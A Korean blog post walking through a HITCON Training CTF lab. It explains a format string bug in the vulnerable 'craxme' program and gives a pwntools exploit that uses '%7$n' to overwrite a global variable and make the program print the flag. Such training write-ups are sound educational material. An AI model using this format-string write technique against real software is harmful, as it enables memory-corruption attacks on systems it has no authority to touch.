Lab8. Format String Bug

2020. 12. 19. 16:26문제연습/Hitcon training

반응형

본 티스토리 블로그는 PC에 최적화되어 있습니다.

모바일 유저분들은 아래 네이버 블로그를 이용해 주세요.

 

Lab8. Format String Bug

본 네이버 블로그는 모바일에 최적화되어 있습니다.PC 유저분들은 아래 티스토리 블로그를 이용해 주세요...

blog.naver.com

 

 

Format String Bug 2

이번 문제도 이전 내용과 같이 FSB를 이용하는 방식입니다.

lab8을 통해 fsb 취약점을 이용해 임의의 값을 수정하는 테크닉을 익혀보도록 하겠습니다.

 

1. 문제 파일

바이너리 분석)

보호 기법으로 카나리아, nx, partial RELRO이 걸려 있습니다.

다음으로 소스코드를 확인하도록 하겠습니다.

 

 

소스코드 분석)

#include <stdio.h>

int magic = 0 ;

int main(){
        char buf[0x100];
        setvbuf(stdout,0,2,0);
        puts("Please crax me !");
        printf("Give me magic :");
        read(0,buf,0x100);
        printf(buf);
        if(magic == 0xda){
                system("cat /home/craxme/flag");
        }else if(magic == 0xfaceb00c){
                system("cat /home/craxme/craxflag");
        }else{
                puts("You need be a phd");
        }

}

 

버퍼에 입력을 받고 magic 값을 확인하여 결과를 출력하는 프로그램입니다.

flag를 출려하기 위해서는 magic 전역 변수의 값을 조작해야 합니다.

 

- 발생 취약점

printf(buf); -> 문자열 형식 지정자 %s 사용 없이 buf의 주소를 직접 접근하여 문자열을 출력하였습니다.

 

 

2. 문제 공략

1. magic 주소를 buf에 집어넣고 계산을 통해 값을 조작하여 조건문을 만족시킵니다.

- 일단 버퍼에 magic의 주소를 넣고 해당 값을 주소로 인식시켜 %n로 값을 조작하는 것이 가능합니다.

 

magic 변수 주소)

해당 부분에 magic의 주소가 나옵니다.

0x804a038은 bss 영역이므로 우리가 확인한 주소가 맞습니다.

 

 

거리 측정)

거리가 7인 것으로 확인되었습니다.

 

이제, 이 두 가지 정보를 이용하여 공격 코드를 작성하도록 하겠습니다.

(조작 값을 0xfaceb00c으로 주면  system("cat /home/craxme/craxflag");를 실행할 수 있습니다.)

from pwn import *

magic = 0x804a038
payload = p32(magic) + "A"*214 + "%7$n"

e=ELF("./craxme")
p=process("./craxme")

p.recvuntil("Give me magic :")
p.sendline(payload)
p.interactive()

 

공격이 성공한 모습

이번 문제도 역시 FSB를 이용한 간단한 익스플로잇 문제였습니다.

다음 시간에는 lab8을 풀어 보도록 하겠습니다.

 

반응형

'문제연습 > Hitcon training' 카테고리의 다른 글

Lab7. Format String Bug (진행 중)  (0) 2020.12.15
Lab6. Fake ebp, stack pivot (진행 중)  (0) 2020.12.13
Lab5. Return Oriented Programming  (0) 2020.12.09
Lab4. Return To Libc  (0) 2020.12.09
Lab3. 오버플로 공격 기초  (0) 2020.12.05